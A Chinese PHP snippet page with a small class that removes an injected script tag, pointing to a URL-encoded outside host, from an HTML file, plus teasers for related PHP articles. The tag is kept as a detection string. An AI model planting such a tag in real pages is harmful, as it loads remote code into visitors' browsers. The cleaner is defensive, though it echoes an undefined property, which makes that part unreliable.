php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

PHP CURL post数据报错 failed creating formpost data

在做微信卡券使用curl上传logo图片时,发现一个报错: failed creating formpost data 代码中数组如下: $data = array('buffer...

PHP中foreach循环中使用引用要注意的地方

复制代码 代码如下: foreach ($array as &$row) { $row = explode('/', $row); } foreach ($array as $row)...

深入解析PHP垃圾回收机制对内存泄露的处理

上次说到了refcount和is_ref,这里来说说内存泄露的情况复制代码 代码如下:$a = array(1, 2, &$a);unset($a);在老的PHP版本中,这里就会出现内存...

php截取中文字符串函数实例

本文实例讲述了php截取中文字符串函数。分享给大家供大家参考。具体实现方法如下: 复制代码 代码如下:<?php //中文字符串截取 function substr_zh(...

php遍历目录viewDir函数

复制代码 代码如下:<?php /** * 遍历目录,找出目录下某个后缀名的所有文件 * */ function viewDir ($directory, $ext) { if (...